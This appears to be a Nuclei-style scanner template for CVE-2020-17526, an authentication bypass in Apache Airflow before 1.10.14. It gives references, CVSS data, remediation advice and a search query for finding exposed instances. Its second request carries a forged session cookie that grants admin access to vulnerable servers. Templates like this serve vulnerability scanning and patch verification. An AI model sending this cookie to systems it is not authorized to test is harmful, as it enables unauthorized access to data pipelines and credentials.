56 lines
1.9 KiB
YAML
56 lines
1.9 KiB
YAML
id: CVE-2020-17526
|
|
|
|
info:
|
|
name: Apache Airflow <1.10.14 - Authentication Bypass
|
|
author: piyushchhiroliya
|
|
severity: high
|
|
description: |
|
|
Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
|
|
reference:
|
|
- https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
|
|
- https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
|
|
- http://www.openwall.com/lists/oss-security/2020/12/21/1
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-17526
|
|
remediation: Change default value for [webserver] secret_key config.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
|
|
cvss-score: 7.7
|
|
cve-id: CVE-2020-17526
|
|
cwe-id: CWE-287
|
|
metadata:
|
|
fofa-query: Apache Airflow
|
|
verified: "true"
|
|
tags: cve,cve2020,apache,airflow,auth-bypass
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /admin/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /admin/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY
|
|
|
|
req-condition: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "DAG"
|
|
- "Recent Tasks"
|
|
- "Users"
|
|
- "SLA Misses"
|
|
- "Task Instances"
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body_1, 'Redirecting...')"
|
|
- "status_code_1 == 302"
|
|
condition: and
|
|
|
|
# Enhanced by md on 2022/10/19
|